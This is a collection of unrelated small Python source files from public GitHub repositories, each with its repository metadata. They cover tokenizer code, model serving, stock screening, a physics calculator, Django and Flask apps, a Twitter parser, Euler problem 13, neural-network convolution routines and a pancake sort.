ids.append(self.encoder.get(token, 0)) if len(ids) > self.max_len: logger.warning( "Token indices sequence length is longer than the specified maximum " " sequence length for this OpenAI GPT model ({} > {}). Running this" " sequence through the model will result in indexing errors".format(len(ids), self.max_len) ) return ids def convert_ids_to_tokens(self, ids, skip_special_tokens=False): """Converts a sequence of ids in BPE tokens using the vocab.""" tokens = [] for i in ids: if i in self.special_tokens_decoder: if not skip_special_tokens: tokens.append(self.special_tokens_decoder[i]) else: tokens.append(self.decoder[i]) return tokens def decode(self, ids, skip_special_tokens=False, clean_up_tokenization_spaces=False): """Converts a sequence of ids in a string.""" tokens = self.convert_ids_to_tokens(ids, skip_special_tokens=skip_special_tokens) out_string = ''.join(tokens).replace('</w>', ' ').strip() if clean_up_tokenization_spaces: out_string = out_string.replace('<unk>', '') out_string = out_string.replace(' .', '.').replace(' ?', '?').replace(' !', '!').replace(' ,', ',').replace(' ,', ',' ).replace(" n't", "n't").replace(" 'm", "'m").replace(" 're", "'re").replace(" do not", " don't" ).replace(" 's", "'s").replace(" t ", "'t ").replace(" s ", "'s ").replace(" m ", "'m " ).replace(" 've", "'ve") return out_string def save_vocabulary(self, vocab_path): """Save the tokenizer vocabulary and merge files to a directory.""" if not os.path.isdir(vocab_path): logger.error("Vocabulary path ({}) should be a directory".format(vocab_path)) return vocab_file = os.path.join(vocab_path, VOCAB_NAME) merge_file = os.path.join(vocab_path, MERGES_NAME) special_tokens_file = os.path.join(vocab_path, SPECIAL_TOKENS_NAME) with open(vocab_file, 'w', encoding='utf-8') as f: f.write(json.dumps(self.encoder, ensure_ascii=False)) index = 0 with open(merge_file, "w", encoding="utf-8") as writer: writer.write(u'#version: 0.2\n') for bpe_tokens, token_index in sorted(self.bpe_ranks.items(), key=lambda kv: kv[1]): if index != token_index: logger.warning("Saving vocabulary to {}: BPE merge indices are not consecutive." " Please check that the tokenizer is not corrupted!".format(merge_file)) index = token_index writer.write(' '.join(bpe_tokens) + u'\n') index += 1 with open(special_tokens_file, 'w', encoding='utf-8') as writer: for token in sorted(self.special_tokens.keys(), key=lambda kv: kv[1]): writer.write(token + u'\n') return vocab_file, merge_file, special_tokens_file

[ "hao.en0116@gmail.com" ]

hao.en0116@gmail.com

e47a993956b0cf5a138d15c01e3ad44563245394

023167de90034d0ac4e3695db5d0fc419e298247

/flash_examples/serve/translation/inference_server.py

f8f9c8dbce012db0f244cc5b81026cd00ef424f8

[ "Apache-2.0" ]

permissive

dlangerm/lightning-flash

9e66e90f86d597d362e5c307e391b623f509c092

892f7594fff40ebc4333b62a5c4e73b02549fb82

refs/heads/master

2023-08-06T22:11:56.467679

2021-09-29T11:00:22

406,909,766

0

Apache-2.0

2021-09-15T20:04:16

2021-09-15T20:04:15

null

UTF-8

Python

false

754

py

# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from flash.text import TranslationTask model = TranslationTask.load_from_checkpoint("https://flash-weights.s3.amazonaws.com/translation_model_en_ro.pt") model.serve()

[ "noreply@github.com" ]

dlangerm.noreply@github.com

0f3329dce80da79fcd9ee3bdafee4cb57796d80a

158bafd98b710ab36ef63055016ff2e085ea9b41

/index6m.py

5b4e5f3b76d29fd880093b89aef7328b1cc19d29

[]

no_license

gestinf/StockScreeningScript

02b2f6647d78c8038223658ab375ef055fb34b28

69420a7dfe9a6b56bd7e5fce682dee1cf1362306

refs/heads/master

2023-02-08T16:42:03.105653

2021-01-03T18:50:27

null

0

null

UTF-8

Python

false

554

py

import yfinance as yf import datetime as dt import pandas as pd def sixMonthIndex(tickers): start = dt.datetime.today() - dt.timedelta(180) end = dt.datetime.today() cl_price = pd.DataFrame() for ticker in tickers: cl_price[ticker]= yf.download(ticker, start, end, period = "6mo")["Adj Close"] finalList = cl_price.iloc[-1] / cl_price.iloc[0] finalList.sort_values(ascending = False, inplace = True) print("6 month Index") print(finalList) finalList = finalList[:len(finalList)//3] return finalList

[ "noreply@github.com" ]

gestinf.noreply@github.com

2b1820b38378e49a3440992c21de43a88a98b68b

e2e2c0abaa3e3c861270fa2b920692a3ab86a8e0

/particle.py

b922f75391d388cc62946ef8c6c6435c33fd492f

[ "WTFPL" ]

permissive

Super-Baleine/ENERGY

02eddb723b33044c973549033b6c68089df6d13c

cb5659a405bbac12a8dec77a624fbedf60ca028d

refs/heads/master

2020-09-14T15:00:45.467711

2016-11-13T21:33:55

73,516,234

0

null

UTF-8

Python

false

1,258

py

# -*- coding: utf-8 -*- ## THESE PROGRAMS ALLOW YOU TO CALCULATE ## THE ENERGY OF A LIQUID, PARTICULE ## AND MAYBE SOME OTHERS THINGS NOT CODED YET ##LICENSE : DO WHAT THE FUCK YOU WANT ## ./particle.py argv1 argv2 --> argv1: speed particle && argv2: particle's mass import sys,math args=len(sys.argv) if args != 3: print("There isn't enough or too much arguments.\ \nYou have to give exactly two arguments.\n\n\ The first argument is the speed of the particle\n\ And the second argument is the mass of the particle.\ \nExiting...") sys.exit() pass def lorentzian_factor(v, c): y=1/(((1-v*2)/(c*2))*0.5) return float(y) pass def impulsion(y,m,v): p=y*m*v return float(p) pass def energy_computing(m, c, p): m=math.pow(m, 2) cc=math.pow(c, 4) pp=math.pow(p, 2) c=math.pow(c, 2) EE=((m*cc)+pp*c) EE=float(EE) return EE pass v=float(sys.argv[1]) #v is the speed of the particle m=float(sys.argv[2]) #mass of the particle c=float(299792458) #Fiat lux! y=lorentzian_factor(v,c) y=float(y) print("The lorentzian factor is : " + str(y)) p=impulsion(y,m,v) print("The impulsion is : " + str(p)) energy=energy_computing(m,c,p) print("E²=" + str(energy) + "") print("Therefore, we have :\n\ E="+ str(math.sqrt(float(energy)))) sys.exit()

[ "paul.feuvraux@protonmail.ch" ]

paul.feuvraux@protonmail.ch

39871474d306c16ceeeb0dd60dee92f61d97dd91

2478ed986c07760558be1a13fd6f3aada6fc34dd

/bin/python-config

873d249504304d1d1601c3c50eac930c19521f1a

[]

no_license

Catravine/trydjango19

ac5789d699277cd4252ad67e301427a240aecb3d

382b67c5a9686f5355af2c83a46aad71e992d22b

refs/heads/master

2021-01-12T05:07:58.170432

2017-01-02T21:31:46

77,861,941

0

null

UTF-8

Python

false

2,353

#!/Users/carolinecourtney/trydjango19/bin/python import sys import getopt import sysconfig valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags', 'ldflags', 'help'] if sys.version_info >= (3, 2): valid_opts.insert(-1, 'extension-suffix') valid_opts.append('abiflags') if sys.version_info >= (3, 3): valid_opts.append('configdir') def exit_with_usage(code=1): sys.stderr.write("Usage: {0} [{1}]\n".format( sys.argv[0], '|'.join('--'+opt for opt in valid_opts))) sys.exit(code) try: opts, args = getopt.getopt(sys.argv[1:], '', valid_opts) except getopt.error: exit_with_usage() if not opts: exit_with_usage() pyver = sysconfig.get_config_var('VERSION') getvar = sysconfig.get_config_var opt_flags = [flag for (flag, val) in opts] if '--help' in opt_flags: exit_with_usage(code=0) for opt in opt_flags: if opt == '--prefix': print(sysconfig.get_config_var('prefix')) elif opt == '--exec-prefix': print(sysconfig.get_config_var('exec_prefix')) elif opt in ('--includes', '--cflags'): flags = ['-I' + sysconfig.get_path('include'), '-I' + sysconfig.get_path('platinclude')] if opt == '--cflags': flags.extend(getvar('CFLAGS').split()) print(' '.join(flags)) elif opt in ('--libs', '--ldflags'): abiflags = getattr(sys, 'abiflags', '') libs = ['-lpython' + pyver + abiflags] libs += getvar('LIBS').split() libs += getvar('SYSLIBS').split() # add the prefix/lib/pythonX.Y/config dir, but only if there is no # shared library in prefix/lib/. if opt == '--ldflags': if not getvar('Py_ENABLE_SHARED'): libs.insert(0, '-L' + getvar('LIBPL')) if not getvar('PYTHONFRAMEWORK'): libs.extend(getvar('LINKFORSHARED').split()) print(' '.join(libs)) elif opt == '--extension-suffix': ext_suffix = sysconfig.get_config_var('EXT_SUFFIX') if ext_suffix is None: ext_suffix = sysconfig.get_config_var('SO') print(ext_suffix) elif opt == '--abiflags': if not getattr(sys, 'abiflags', None): exit_with_usage() print(sys.abiflags) elif opt == '--configdir': print(sysconfig.get_config_var('LIBPL'))

[ "caroline@carolinecourtney.com" ]

caroline@carolinecourtney.com

2c792ab5d17bbfbced2c1b30941ac5a73eb06cf3

6ec553e283ddb0bfdcec7cadca2c28afc473d41c

/daintree/urls.py

cbff6e40aaa1b6e17179d771da728d6253954477

[]

no_license

rediumareanca/daintree

47acaa8d04d62bd7e0bff5807ef5621871d872db

af60988d84b14da8f1c2cc6b7aaf4dcb760fb012

refs/heads/master

2020-12-14T08:55:49.620700

2017-07-04T07:56:26

95,537,532

1

0

null

UTF-8

Python

false

845

py

"""daintree URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.10/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.conf.urls import url, include 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) """ from django.conf.urls import url from django.contrib import admin from main.views import HomeView urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^$', HomeView.as_view(), name="home") ]

[ "rediumareanca@ya.ru" ]

rediumareanca@ya.ru

1aa85aa87001cc872500fac6fce0517c0467f91e

ac727c519f41b04bb7b8518b64f0c426c93ab3c4

/Training/lendy/lendy.py

5e988144b51f8ad45762e37b437955f82ba9a3bf

[]

no_license

gjwall/python

82e704af4ddc993499cd81dedb4f81336a9de23a

a553b03556bf1ef01c63e1dfe3c3c2d0eefa95bd

refs/heads/master

2021-01-21T06:19:12.078150

2017-03-10T21:51:43

83,212,868

0

null

UTF-8

Python

false

2,779

py

#!C:\python36\python.exe ''' Created on 10 Mar 2017 @author: Graham ''' import sqlite3 import os import lendydata from flask import Flask, request, session, g, redirect, url_for, abort, \ render_template, flash from werkzeug.utils import redirect from flask.templating import render_template app = Flask(__name__) # Load default config and override config from environment variable app.config.update(dict( DATABASE = os.path.join(app.root_path, 'lendy.db'), DEBUG = True, SECRET_KEY = "nickknackpaddywhack", USERNAME = "admin", PASSWORD = "DONOTUSE" )) app.config.from_envvar("LENDY_SETTINGS", silent = True) def get_db(): ''' Opens a new database connection if one does not exist for our current request context (the g object helps with this task)''' if not hasattr(g, "sqlite_db"): lendydata.initDB() g.sqlite_db = lendydata.db return g.sqlite_db @app.teardown_appcontext def close_db(error): ''' Closes the database again at the end of the request. Note that the "g" object which makes sure we only operate on the current request ''' if hasattr(g, "sqllite_db"): lendydata.closeDB() @app.route("/") @app.route("/login", methods = ["GET", "POST"]) def login(): error = None if request.method == "POST": if request.form["username"] != app.config["USERNAME"]: error = "Invalid username" elif request.form["password"] != app.config["PASSWORD"]: error = "Invalid password" else: session["logged_in"] = True flash("You were logged in") return redirect(url_for("show_inventory")) return render_template("login.html", error = error) @app.route('/inventory') def show_inventory(): get_db() allItems = lendydata.get_items() inventory = [dict(zip(['name','description'],[item[1],item[2]])) for item in allItems] return render_template('items.html', items=inventory) @app.route('/add', methods=['POST']) def add_item(): if not session.get('logged_in'): abort(401) get_db() ownerID = [row[0] for row in lendydata.get_members() if row[1] == request.form['owner']] try: ownerID = ownerID[0] except IndexError: # implies no owners match name # should raise error/create new member ownerID = 1 # use default member for now. lendydata.insert_item(request.form['name'], request.form['description'], ownerID, request.form['price'], request.form['condition']) flash('New entry was successfully posted') return redirect(url_for('show_inventory')) if __name__ == "__main__": app.run()

[ "gjwall@users.noreply.github.com" ]

gjwall@users.noreply.github.com

daad0f74486a33b4879a5f91f2cee804d83863f7

6305a4ce6818083c3962d02de7f1471864bc9f49

/main.py

a19ed71fbd2b7c8b75c1c3eb7b9c6b1266702b4a

[ "MIT" ]

permissive

marioyc/parse-ml-tweets

b79c5fa2819d9c48bf084648d55ed2671179f337

3bedf6c33682c85020dc07557b37cf9ccd3d9a63

refs/heads/master

2021-03-24T10:06:59.540849

2016-08-27T15:58:09

66,718,089

0

null

UTF-8

Python

false

1,056

py

import twitter CONSUMER_KEY = "" CONSUMER_SECRET = "" ACCESS_TOKEN_KEY = "" ACCESS_TOKEN_SECRET = "" api = twitter.Api(consumer_key=CONSUMER_KEY, consumer_secret=CONSUMER_SECRET, access_token_key=ACCESS_TOKEN_KEY, access_token_secret=ACCESS_TOKEN_SECRET) USER_SCREEN_NAME = "StatMLPapers" #user = api.GetUser(screen_name=USER_SCREEN_NAME) #print(user.name + " : " + user.description + "\n") def check(status): return status.favorite_count + status.retweet_count >= 10 statuses = api.GetUserTimeline(screen_name=USER_SCREEN_NAME) for s in statuses: if check(s): print(s.created_at, s.text, s.favorite_count, s.retweet_count) for it in range(0,5): print("") max_id = statuses[-1].id statuses = api.GetUserTimeline(screen_name=USER_SCREEN_NAME, max_id=max_id) if len(statuses) == 1: break else: statuses = statuses[1:] for s in statuses: if check(s): print(s.created_at, s.text, s.favorite_count, s.retweet_count)

[ "ycmario@gmail.com" ]

ycmario@gmail.com

13b2b9c390f93b4c58274db5a361c530327c3a2b

bbe74f172bf1f1cca1c77bd249c6f9a97ca897a4

/probs11-20/prob13.py

0e84fcee2846a2e45db91e51d3eefd773b8d39cf

[]

no_license

kruthar/euler

5b32b7780502ff82e855c0c9670c91aff3938c5d

18a59531f2108074de3a7db29a77017663753abc

refs/heads/master

2021-01-13T13:19:54.723543

2016-02-22T14:53:45

52,280,655

0

null

UTF-8

Python

false

5,357

py

__author__ = 'kruthar' ''' Large Sum Work out the first ten digits of the sum of the following one-hundred 50-digit numbers. 37107287533902102798797998220837590246510135740250 46376937677490009712648124896970078050417018260538 74324986199524741059474233309513058123726617309629 91942213363574161572522430563301811072406154908250 23067588207539346171171980310421047513778063246676 89261670696623633820136378418383684178734361726757 28112879812849979408065481931592621691275889832738 44274228917432520321923589422876796487670272189318 47451445736001306439091167216856844588711603153276 70386486105843025439939619828917593665686757934951 62176457141856560629502157223196586755079324193331 64906352462741904929101432445813822663347944758178 92575867718337217661963751590579239728245598838407 58203565325359399008402633568948830189458628227828 80181199384826282014278194139940567587151170094390 35398664372827112653829987240784473053190104293586 86515506006295864861532075273371959191420517255829 71693888707715466499115593487603532921714970056938 54370070576826684624621495650076471787294438377604 53282654108756828443191190634694037855217779295145 36123272525000296071075082563815656710885258350721 45876576172410976447339110607218265236877223636045 17423706905851860660448207621209813287860733969412 81142660418086830619328460811191061556940512689692 51934325451728388641918047049293215058642563049483 62467221648435076201727918039944693004732956340691 15732444386908125794514089057706229429197107928209 55037687525678773091862540744969844508330393682126 18336384825330154686196124348767681297534375946515 80386287592878490201521685554828717201219257766954 78182833757993103614740356856449095527097864797581 16726320100436897842553539920931837441497806860984 48403098129077791799088218795327364475675590848030 87086987551392711854517078544161852424320693150332 59959406895756536782107074926966537676326235447210 69793950679652694742597709739166693763042633987085 41052684708299085211399427365734116182760315001271 65378607361501080857009149939512557028198746004375 35829035317434717326932123578154982629742552737307 94953759765105305946966067683156574377167401875275 88902802571733229619176668713819931811048770190271 25267680276078003013678680992525463401061632866526 36270218540497705585629946580636237993140746255962 24074486908231174977792365466257246923322810917141 91430288197103288597806669760892938638285025333403 34413065578016127815921815005561868836468420090470 23053081172816430487623791969842487255036638784583 11487696932154902810424020138335124462181441773470 63783299490636259666498587618221225225512486764533 67720186971698544312419572409913959008952310058822 95548255300263520781532296796249481641953868218774 76085327132285723110424803456124867697064507995236 37774242535411291684276865538926205024910326572967 23701913275725675285653248258265463092207058596522 29798860272258331913126375147341994889534765745501 18495701454879288984856827726077713721403798879715 38298203783031473527721580348144513491373226651381 34829543829199918180278916522431027392251122869539 40957953066405232632538044100059654939159879593635 29746152185502371307642255121183693803580388584903 41698116222072977186158236678424689157993532961922 62467957194401269043877107275048102390895523597457 23189706772547915061505504953922979530901129967519 86188088225875314529584099251203829009407770775672 11306739708304724483816533873502340845647058077308 82959174767140363198008187129011875491310547126581 97623331044818386269515456334926366572897563400500 42846280183517070527831839425882145521227251250327 55121603546981200581762165212827652751691296897789 32238195734329339946437501907836945765883352399886 75506164965184775180738168837861091527357929701337 62177842752192623401942399639168044983993173312731 32924185707147349566916674687634660915035914677504 99518671430235219628894890102423325116913619626622 73267460800591547471830798392868535206946944540724 76841822524674417161514036427982273348055556214818 97142617910342598647204516893989422179826088076852 87783646182799346313767754307809363333018982642090 10848802521674670883215120185883543223812876952786 71329612474782464538636993009049310363619763878039 62184073572399794223406235393808339651327408011116 66627891981488087797941876876144230030984490851411 60661826293682836764744779239180335110989069790714 85786944089552990653640447425576083659976645795096 66024396409905389607120198219976047599490197230297 64913982680032973156037120041377903785566085089252 16730939319872750275468906903707539413042652315011 94809377245048795150954100921645863754710598436791 78639167021187492431995700641917969777599028300699 15368713711936614952811305876380278410754449733078 40789923115535562561142322423255033685442488917353 44889911501440648020369068063960672322193204149535 41503128880339536053299340368006977710650566631954 81234880673210146739058568557934581403627822703280 82616570773948327592232845941706525094512325230608 22918802058777319719839450180888072429661980811197 77158542502016545090413245809786882778948721859617 72107838435069186155435662884062257473692284509516 20849603980134001723930671666823555245252804609722 53503534226472524250874054075591789781264330331690 ''' f = open('../data/data-prob13.txt', 'r'); total = 0 for line in f.readlines(): total += int(line) print str(total)[0:10]

[ "kruthar@gmail.com" ]

kruthar@gmail.com

95a31d8f1565fc8e7a66821758ac3eefce85f602

4fd0affb3da11fee35bc3d0e22a8acd3d6ebb159

/experiments/__main__.py

c3cb8147d37a224ae0709f3e8f6912f4222e356f

[ "MIT" ]

permissive

hkrsnd/dilp-st

2876c4ed43414fe6fb5d8ab577038588dcccf1e9

54ef5b4a8393bf534493cbb85e8f5da80b51c14c

refs/heads/main

2023-04-19T14:01:30.624376

2021-05-24T11:46:56

321,797,709

9

1

null

UTF-8

Python

false

1,513

py

import sys sys.path.append('datasets') sys.path.append('datasets/append/') sys.path.append('src/') sys.path.append('experiments/') from data_utils import DataUtils from normal import normal_experiment from noise import noise_experiment from softor import softor_experiment from step import step_experiment import argparse def main(): print(sys.argv[1] + ' experiments runnning') parser = argparse.ArgumentParser(description='experiments') parser.add_argument('type', default='noise', type=str, help='type of experiments [noise, step, softor, normal]') parser.add_argument('name', default='append', type=str, help='name of the problem') parser.add_argument('lr', default=1e-2, type=float, help='learning rate') parser.add_argument('epoch', default=10000, type=int, help='epoch in training') parser.add_argument('m', default=3, type=int, help='the size of the solution') parser.add_argument('T', default=5, type=int, help='infer step') parser.add_argument('--noise_rate', default=0.00, type=float, help='noise rate of training data') args = parser.parse_args() if args.type == 'noise': noise_experiment(args) elif args.type == 'normal': normal_experiment(args) elif args.type == 'step': step_experiment(args) elif args.type == 'softor': softor_experiment(args) if __name__ == "__main__": main()

[ "microapple56@gmail.com" ]

microapple56@gmail.com

ebe2a975ab70d15d04ef4c8c6afb5060da022d78

8a5f0ab7839a729867baf9be9919fb8ba89009df

/bad_compute.py

e04049579d86fc30afde4aa87bba3bdbc452b9df

[]

no_license

jdk-maxim/action-test-repo

ecd079cc064a619e56df62139332edb60b7fd201

e23e22fc4a40b51f0a12eac893226516a6b7f635

refs/heads/master

2023-01-14T00:56:07.931588

2020-11-20T22:51:08

302,100,610

0

null

UTF-8

Python

false

14,773

py

################################################################################################### # Copyright (C) 2018-2020 Maxim Integrated Products, Inc. All Rights Reserved. # # Maxim Integrated Products, Inc. Default Copyright Notice: # https://www.maximintegrated.com/en/aboutus/legal/copyrights.html # # Written by RM ################################################################################################### """ Pure Python implementation of Conv1d, Conv2d, ConvTranspose2d, Pool1d, Pool2d, Eltwise, and Linear. Allows debug of individual accumulations. NumPy implementation of Conv2d, ConvTranspose2d, Pool2d. Compatible with PyTorch. """ import os import sys import numpy as np from numpy.lib.stride_tricks import as_strided import op import stats from eprint import eprint """ Comment for git change tweak """ debug_log = None def debug_open( layer, base_directory, test_name, log_filename, # pylint: disable=unused-argument ): """ Create debug log for a layer """ global debug_log # pylint: disable=global-statement debug_log = open(os.path.join(base_directory, test_name, f'compute-{layer}.csv'), 'w') def debug_print( t, ): """ Print to the compute debug log """ global debug_log # pylint: disable=global-statement print(t, file=debug_log) def debug_close(): """ Close the compute debug log """ global debug_log # pylint: disable=global-statement debug_log.close() def conv2d( data, weight, bias, input_size, output_size, kernel_size, stride, pad, dilation, fractional_stride, output_pad, groups=1, debug=False, ): """ Compute a 2D convolution. Note that all PyTorch numbers are ordered (C, H, W) """ assert data.shape == tuple(input_size) in_channels = input_size[0] out_channels = output_size[0] if debug: # Slow route using pure Python ref = np.full(shape=output_size, fill_value=np.nan, dtype=np.int64) debug_print('k,c,x,y,weight,data,prod,cacc,acc') for k in range(out_channels): for y in range(-pad[0], input_size[1] - dilation[0] * (kernel_size[0] - 1) + pad[0], stride[0]): for y_frac in range(fractional_stride[0]): for x in range(-pad[1], input_size[2] - dilation[1] * (kernel_size[1] - 1) + pad[1], stride[1]): for x_frac in range(fractional_stride[1]): val = np.int64(0) c = 0 while True: dc = c if groups == 1 else c + k * (in_channels // groups) sval = np.int(0) for h in range(kernel_size[0]): for w in range(kernel_size[1]): ypos = (y + pad[0])*fractional_stride[0] - pad[0] \ + y_frac + h * dilation[0] yd, yr = divmod(ypos, fractional_stride[0]) xpos = (x + pad[1])*fractional_stride[1] - pad[1] \ + x_frac + w * dilation[1] xd, xr = divmod(xpos, fractional_stride[1]) if yr == 0 and 0 <= yd < input_size[1] and \ xr == 0 and 0 <= xd < input_size[2]: prod = weight[k][c][h][w] * data[dc][yd][xd] sval += prod val += prod stats.true_macc += 1 debug_print( f'{k},{c},{x},{y},{weight[k][c][h][w]},' f'{data[dc][yd][xd]},{prod},{sval},{val}' ) c += 16 if c >= in_channels // groups: c = (c + 1) % 16 if c in (0, in_channels // groups): break if bias is not None: val += bias[k] debug_print( f' adding bias: {bias[k]} -> result: {val}' ) ref[k][ ((y + pad[0])*fractional_stride[0] + y_frac) // stride[0] ][ ((x + pad[1])*fractional_stride[1] + x_frac) // stride[1] ] = val # Fast computation using NumPy # Stretch data for fractionally-strided convolution if fractional_stride[0] > 1 or fractional_stride[1] > 1: ndata = np.zeros((data.shape[0], data.shape[1] * fractional_stride[0], data.shape[2] * fractional_stride[1]), dtype=data.dtype) ndata[:, 0::fractional_stride[0], 0::fractional_stride[1]] = data data = ndata # Create zero padding around data and stretch weights for dilation. if pad[0] or pad[1] or output_pad[0] or output_pad[1]: data = np.pad(data, pad_width=((0, 0), (pad[0], pad[0]), (pad[1], pad[1])), mode='constant', constant_values=0) if dilation[0] > 1 or dilation[1] > 1: nweight = np.zeros((weight.shape[0], weight.shape[1], (kernel_size[0] - 1) * dilation[0] + 1, (kernel_size[1] - 1) * dilation[1] + 1), dtype=weight.dtype) nweight[:, :, 0::dilation[0], 0::dilation[1]] = weight weight = nweight h = (data.shape[1] - weight.shape[3] + 1) // stride[0] # Resulting output height w = (data.shape[2] - weight.shape[2] + 1) // stride[1] # Resulting output width view = as_strided(data, shape=(h, w, data.shape[0], weight.shape[2], weight.shape[3]), strides=((data.strides[1] * stride[0], data.strides[2] * stride[1], data.strides[0], data.strides[1], data.strides[2])), writeable=False) if groups > 1: nweight = np.zeros((weight.shape[0], in_channels, weight.shape[2], weight.shape[3]), dtype=weight.dtype) for i in range(weight.shape[0]): for j in range(in_channels // groups): nweight[i, i * (in_channels // groups) + j, :, :] = weight[i, j, :, :] weight = nweight output = np.tensordot(view, weight, axes=((2, 3, 4), (1, 2, 3))).transpose(2, 0, 1) # Apply bias if bias is not None: for k in range(out_channels): output[k] += bias[k] if debug: if not (ref == output).all(): eprint('NumPy <-> Python mismatch in compute.conv2d') sys.exit(1) assert output.shape == tuple(output_size) return output def conv1d( data, weight, bias, input_size, output_size, out_channels, kernel_size, stride, pad, dilation, groups=1, debug=False, ): """ Compute a 1D convolution. Note that all PyTorch numbers are ordered (C, L) """ in_channels = input_size[0] weight = weight.reshape(out_channels, input_size[0] // groups, -1) data = data.reshape(input_size[0], -1) output = np.full(shape=(output_size[0], output_size[1]), fill_value=np.nan, dtype=np.int64) # Compute 1D convolution if debug: debug_print('k,c,x,src_offs,wt_offs,weight,data,acc') for k in range(out_channels): out_offs = 0 for x in range(-pad, input_size[1] - dilation * (kernel_size - 1) + pad, stride): val = np.int64(0) for c in range(in_channels // groups): dc = c if groups == 1 else c + k * (in_channels // groups) for w in range(kernel_size): src_offs = x + w * dilation if 0 <= src_offs < input_size[1]: val += weight[k][c][w] * data[dc][src_offs] stats.true_macc += 1 if debug: debug_print( f'{k},{c},{x},{src_offs},{w},{weight[k][c][w]},' f'{data[dc][src_offs]},{val}' ) if bias is not None: val += bias[k] if debug: debug_print( f'+bias {bias[k]} --> output[{k}][{out_offs}] = {val}', ) output[k][out_offs] = val out_offs += 1 return output.reshape((output_size)) def linear( data, weight, bias, in_features, out_features, debug=False, ): """ Compute a fully connected layer. """ output = np.empty(out_features, dtype=np.int64) for w in range(out_features): val = np.int64(0) for n in range(in_features): val += data[n] * weight[w][n] stats.true_sw_macc += 1 if debug: debug_print( f'w={w}, n={n}, weight={weight[w][n]}, data={data[n]} ' f'-> accumulator = {val} ' ) if bias is not None: val += bias[w] if debug: debug_print(f'+bias {bias[w]} --> output[{w}] = {val}') output[w] = val return output def pool2d( data, input_size, output_size, pool, stride, average, floor=True, debug=False, ): """ Compute 2D Pooling (Average or Max) """ assert data.shape == tuple(input_size) if debug: # Slow using pure Python ref = np.empty(shape=output_size, dtype=np.int64) for c in range(input_size[0]): for row in range(0, output_size[1]*stride[0], stride[0]): for col in range(0, output_size[2]*stride[1], stride[1]): if average: avg = np.average(data[c][row:row+pool[0], col:col+pool[1]]) if floor: if avg < 0: val = np.ceil(avg).astype(np.int64).clip(min=-128, max=127) else: val = np.floor(avg).astype(np.int64).clip(min=-128, max=127) else: val = np.floor(avg + 0.5).astype(np.int64).clip(min=-128, max=127) else: val = np.amax(data[c][row:row+pool[0], col:col+pool[1]]) ref[c][row//stride[0]][col//stride[1]] = val # Fast computation using NumPy data_pad = data[:, :(data.shape[1] - pool[0]) // stride[0] * stride[0] + pool[0], :(data.shape[2] - pool[1]) // stride[1] * stride[1] + pool[1], ...] h, w = data_pad.strides[1:] view = as_strided(data_pad, shape=(data_pad.shape[0], 1 + (data_pad.shape[1]-pool[0]) // stride[0], 1 + (data_pad.shape[2]-pool[1]) // stride[1], pool[0], pool[1]), strides=(data_pad.strides[0], stride[0] * h, stride[1] * w, h, w), writeable=False) if average: if floor: pooled = np.nanmean(view, dtype=np.int64, axis=(3, 4)) else: pooled = np.round(np.nanmean(view, axis=(3, 4))).astype(np.int64) else: pooled = np.nanmax(view, axis=(3, 4)) if debug: match = (ref == pooled).all() if not match: eprint('NumPy <-> Python mismatch in compute.pool2d') sys.exit(1) assert pooled.shape == tuple(output_size) return pooled def pool1d( data, input_size, output_size, pool, stride, average, floor=True, debug=False, ): # pylint: disable=unused-argument """ Compute 1D Pooling (Average or Max) """ assert data.shape == tuple(input_size) pooled = np.empty(shape=output_size, dtype=np.int64) for c in range(input_size[0]): for x in range(0, output_size[1]*stride, stride): if average: avg = np.average(data[c][x:x+pool]) if avg < 0: val = np.ceil(avg).astype(np.int64).clip(min=-128, max=127) else: val = np.floor(avg).astype(np.int64).clip(min=-128, max=127) else: val = np.amax(data[c][x:x+pool]) pooled[c][x//stride] = val return pooled def eltwise( operator, data, input_size, debug=False, ): # pylint: disable=unused-argument """ Compute element-wise operation. """ assert data[0].shape == tuple(input_size) operands = len(data) output = data[0] for i in range(1, operands): if operator == op.ELTWISE_ADD: output = np.add(output, data[i]) elif operator == op.ELTWISE_MUL: output = np.multiply(output, data[i]) elif operator == op.ELTWISE_OR: output = np.bitwise_or(output, data[i]) elif operator == op.ELTWISE_SUB: output = np.subtract(output, data[i]) elif operator == op.ELTWISE_XOR: output = np.bitwise_xor(output, data[i]) else: print(f"Unknown operator `{op.string(operator)}`") raise NotImplementedError assert output.shape == tuple(input_size) return output

[ "jeremy.kongs@maximintegrated.com" ]

jeremy.kongs@maximintegrated.com

78577dda9d4141161071de69b743051cb5579cd6

2b5f2a19e3ba345faef6bffac322035b62858a00

/pancakeSorting.py

086e3a7bbd00137be6589ebc3125941b245a2800

[]

no_license

QuiveryNinja/pancakeAlgorithm

9416478ed1fc479462d7beb03d31ff3cbb874b47

810ebc9d57e62b6bafc8bda508eea4dc26bde7ef

refs/heads/master

2022-12-23T16:31:20.040630

2020-09-30T17:26:45

299,996,370

0

null

UTF-8

Python

false

219

py

pancakes = [2,3,1,7,4,0,5] plate = [] def SortPancakes(): pancakes.sort() i = 0 while i in pancakes: plate.append(pancakes[-1]) pancakes.pop(-1) return plate print(SortPancakes())

[ "noreply@github.com" ]

QuiveryNinja.noreply@github.com

deb9a9a5bcbcf81070b70cbacf9f9c173d2f9875

1309ac4b1f497886010345fd41a14da469bf8780

/VaretyrSpearSimulation.py

3e5ae0a2418cbc6d4ea7e86963aba9ed71b68d65

[]

no_license

sugky7302/Varetyr-Spear-Simulation

d851a69c283e42da211ffb021747c9aebf15076e

8ddc47c102beabf29e8c6674023058a16250822d

refs/heads/master

2020-03-26T04:57:06.312200

2018-08-13T08:00:05

144,530,402

0

null

UTF-8

Python

false

3,040

py

